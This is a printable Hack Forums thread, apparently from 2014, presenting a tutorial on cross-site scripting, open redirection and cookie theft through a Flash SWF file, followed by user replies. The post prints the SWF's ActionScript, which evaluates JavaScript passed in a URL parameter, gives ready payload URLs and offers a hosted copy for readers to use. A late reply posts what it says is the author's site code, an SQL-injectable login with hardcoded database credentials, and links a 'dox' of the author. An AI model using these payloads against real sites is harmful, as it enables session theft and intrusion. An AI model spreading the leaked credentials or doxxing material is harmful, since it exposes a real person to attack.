Hack Forums
[Tutorial] Basic XSS enumeration with Flash [Polymath] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial] Basic XSS enumeration with Flash [Polymath] (/showthread.php?tid=4153512)

Pages: Pages 1 2

[Tutorial] Basic XSS enumeration with Flash [Polymath] - Th3PonyWizard - Apr 5, 2014

[Image: TkmzXhn.png]
[img]http://i.minus.com/ivm3a7DWxk3V.gif[/img]
[Image: 2jampnT.png]

Basic XSS Enumeration with Flash


Greetings, everyone.

This is what I'm talking about:
Don't bother reporting this as it's not eligible. However, I bet it caught your attention.

This tutorial is presented in collaboration with Zymtom. In this rather brief write-up, we shall present the concept behind utilizing flash into attacking with common client-sided attack techniques such as XSS. We shall also present how to perform common attack patterns such as general java-script execution, redirection, and even cookie stealing.

Alright, let's begin.
The PoC of this unique approach has already been released here. If you're previously familiar with how I write tutorials, you already know that I take the live approach and offer for any of you who wish to upload your own script here:
For your convenience, we've already setup a proper copy of our exploit to perform for our tutorial. The URL address is as follows:

Upon visiting, you'll be greeted with a prompt that gives a brief explanation over how stuff works:

[Image: 1b0d869f9ad68bf8d2bc5023facbcbe8.png]
  1. Redirects URL inputs into the website.

  2. Similar to 1, prompts it as a new tab.

  3. I can't recreate this one, but it seems to be able to send more rough http packets with an ability to provide both method and URL address. Due to the Same Origin Policy being applied with flash, I don't see this working with any browser.

  4. General Javascript code execution.


Open Redirection
This is basically useful for tricking and social engineering. Making an outside site look like part of the inside original site system is basically what Open Redirection is being used the most.

Didn't even bother properly encoding that one, you get my point.

XSS

This is where the fun kicks in.
The flash file serves as a normal browser page and executes your JavaScript without any trouble. How is this possible, you ask?
Diving into the file's code, you can see how it is being performed:
  • function attack(action)
    {
    switch (action)
    {
    case "location" :// location URL
    navigateToURL(new URLRequest(cmd),"_self");
    break;
    case "open" :// open URL
    navigateToURL(new URLRequest(cmd),"_blank");
    break;
    case "get" :// GET
    var loader:URLLoader = new URLLoader(new URLRequest(cmd));
    loader.addEventListener(Event.COMPLETE,get_complete);
    loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,get_sec_error);
    break;
    case "eval" :// execute JS
    flash.external.ExternalInterface.call("eval", cmd);
    break;
    default :
    var help:String = 'a(action) - c(cmd)\n';
    help += '------\n';
    help += '1. location to url: xss.swf?a=location&c=http://www.google.com/\n';
    help += '2. open url to new window: xss.swf?a=open&c=http://www.google.com/\n';
    help += '3. http request to url: xss.swf?a=get&c=http://www.google.com/\n';
    help += '4. eval js codz: xss.swf?a=eval&c=alert(document.domain)\n';
    help += '------\n';
    help += 'by [email protected]';
    flash.external.ExternalInterface.call("alert", help);
    break;
    }
    stop();
    }


At the section responsible for treating what happens if the attacker chooses to apply "eval," you can see a flash function locally executing the argument's value which is passed from the URL.

Cookie Stealing

I'm not going in-depth here as it contradicts my beliefs as I have no interest in step by step telling you how to screw up a website.
However, we know there's a cookie over our /fileuploadin/, and Zymtom created a cute enough cookie stealer over.
  • if(!isset($_COOKIE['cake']) || empty($_COOKIE['cake'])){
    $_COOKIE['cake'] = rand();
    }


Try to steal it over.
~EOF
That's it. Sorry if this seems a bit short, but there isn't much to represent here. Personally I was surprised when I discovered Flash can execute JavaScript code, I'm seeing this as a huge attack pattern that people can start using. Again, thanks to Zymtom for the code and help in process, <3.

* - HelsinK - Apr 5, 2014

Nice tut keep up the good work :)

* - FeaturedBMX - Apr 5, 2014

This looks great man. I will be sure to give it a read.

* - Im gone brah - Apr 5, 2014

I did not actually expect a Cross-site-scripting guide from you. Nonetheless good job & well written!

* - 133720 - Apr 5, 2014

Nice Sharing bro.
Good Threads.
Thanks a lot.

* - Vexane - Apr 5, 2014

This is a really nice tutorial; but with very much prior knowledge on cookie stealing and JavaScript exploitation, I have no idea how any of this could be harmful. It looks pretty cute and innocent to me.

* - Robust - Apr 5, 2014

Great tutorial for the second piece of content Polymath has released. Thanks for this detailed guide.

* - Zapu - Apr 5, 2014

Nice tutorial, to you and zYMTOM 🤝

* - Wᴀᴄᴋᴏ - Apr 5, 2014

This tutorial really helped me. I had no idea Flash could execute JavaScript. Thanks a ton for this.

* - Keybored - Apr 5, 2014

Thanks for this great TUT man thanks

* - Th3PonyWizard - Apr 7, 2014

Updated with the actual Polymath layout.

* - -zERAiT - Apr 7, 2014

Great and well written tutorial, thanks.🤝

* - Th3PonyWizard - Apr 10, 2014

(Apr 7, 2014 05:06 AM)MaskedMyS Wrote:  Great and well written tutorial, thanks.🤝
Thanks for the comment. I'm still lookin fo' feedback.

* - ๖ۣۜMr Blade™ - Apr 10, 2014

nice tutorial bro. i must appreciate you

* - abj3ctzz - Apr 10, 2014

Are u kiddin' ?

L00k's like there's a pr0 on b0ard..

# www.th3ponywizard.me
...

$con = mysql_connect('localhost', 'thponywi_pony', '123456');
mysql_select_db("thponywi_HF");
$password = $_POST['password'];
$query = "SELECT * FROM `hue` WHERE `password` = '$password'";
...
echo "Horray, you're logged in! Go to <a href=\"admin.php\">DIS LINK</a>";
...
}

And here the dox http://pastebin.com/4M0kB6QX